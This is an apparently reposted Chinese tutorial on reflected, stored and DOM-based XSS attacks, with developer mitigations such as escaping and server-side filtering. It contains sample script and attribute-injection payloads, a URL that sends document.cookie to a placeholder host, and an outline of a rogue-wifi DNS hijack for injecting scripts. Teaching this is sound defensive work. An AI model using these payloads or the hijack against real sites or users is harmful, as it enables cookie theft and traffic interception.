XSS(cross-site scripting跨域腳本攻擊)攻擊是最多見的Web攻擊,其重點是「跨域」和「客戶端執行」。有人將XSS攻擊分爲三種,分別是:javascript
Reflected XSS(基於反射的XSS攻擊)html
Stored XSS(基於存儲的XSS攻擊)前端
DOM-based or local XSS(基於DOM或本地的XSS攻擊)java
Reflected XSS數據庫
基於反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發執行從而發起Web攻擊。後端
例子:跨域
作個假設,當亞馬遜在搜索書籍,搜不到書的時候顯示提交的名稱。瀏覽器
在搜索框搜索內容,填入「<script>alert('handsome boy')</script>」, 點擊搜索。安全
當前端頁面沒有對返回的數據進行過濾,直接顯示在頁面上, 這時就會alert那個字符串出來。服務器
進而能夠構造獲取用戶cookies的地址,經過QQ羣或者垃圾郵件,來讓其餘人點擊這個地址:
http://www.amazon.cn/search?n...'http://xxx/get?cookie='+document.cookie</script>
PS:這個地址固然是沒效的,只是舉例子而已。
結論:
若是隻是一、二、3步作成功,那也只是本身折騰本身而已,若是第4步能作成功,纔是個像樣的XSS攻擊。
開發安全措施:
前端在顯示服務端數據時候,不只是標籤內容須要過濾、轉義,就連屬性值也均可能須要。
後端接收請求時,驗證請求是否爲攻擊請求,攻擊則屏蔽。
例如:
標籤:
<span><script>alert('handsome boy')</script></span>
轉義
<span><script>alert('handsome boy')</script></span>
屬性:
若是一個input的value屬性值是
琅琊榜" onclick="javascript:alert('handsome boy')
就可能出現
<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">
點擊input致使攻擊腳本被執行,解決方式能夠對script或者雙引號進行過濾。
Stored XSS
基於存儲的XSS攻擊,是經過發表帶有惡意跨域腳本的帖子/文章,從而把惡意腳本存儲在服務器,每一個訪問該帖子/文章的人就會觸發執行。
例子:
發一篇文章,裏面包含了惡意腳本
今每天氣不錯啊!<script>alert('handsome boy')</script>
後端沒有對文章進行過濾,直接保存文章內容到數據庫。
當其餘看這篇文章的時候,包含的惡意腳本就會執行。
PS:由於大部分文章是保存整個HTML內容的,前端顯示時候也不作過濾,就很可能出現這種狀況。
結論:
後端儘量對提交數據作過濾,在場景需求而不過濾的狀況下,前端就須要作些處理了。
開發安全措施:
首要是服務端要進行過濾,由於前端的校驗能夠被繞過。
當服務端不校驗時候,前端要以各類方式過濾裏面可能的惡意腳本,例如script標籤,將特殊字符轉換成HTML編碼。
DOM-based or local XSS
基於DOM或本地的XSS攻擊。通常是提供一個免費的wifi,可是提供免費wifi的網關會往你訪問的任何頁面插入一段腳本或者是直接返回一個釣魚頁面,從而植入惡意腳本。這種直接存在於頁面,無須通過服務器返回就是基於本地的XSS攻擊。
例子1:
提供一個免費的wifi。
開啓一個特殊的DNS服務,將全部域名都解析到咱們的電腦上,並把Wifi的DHCP-DNS設置爲咱們的電腦IP。
以後連上wifi的用戶打開任何網站,請求都將被咱們截取到。咱們根據http頭中的host字段來轉發到真正服務器上。
收到服務器返回的數據以後,咱們就能夠實現網頁腳本的注入,並返回給用戶。
當注入的腳本被執行,用戶的瀏覽器將依次預加載各大網站的經常使用腳本庫。
這個其實就是wifi流量劫持,中間人能夠看到用戶的每個請求,能夠在頁面嵌入惡意代碼,使用惡意代碼獲取用戶的信息,能夠返回釣魚頁面。
PS:本文轉自 http://www.cnblogs.com/loveso...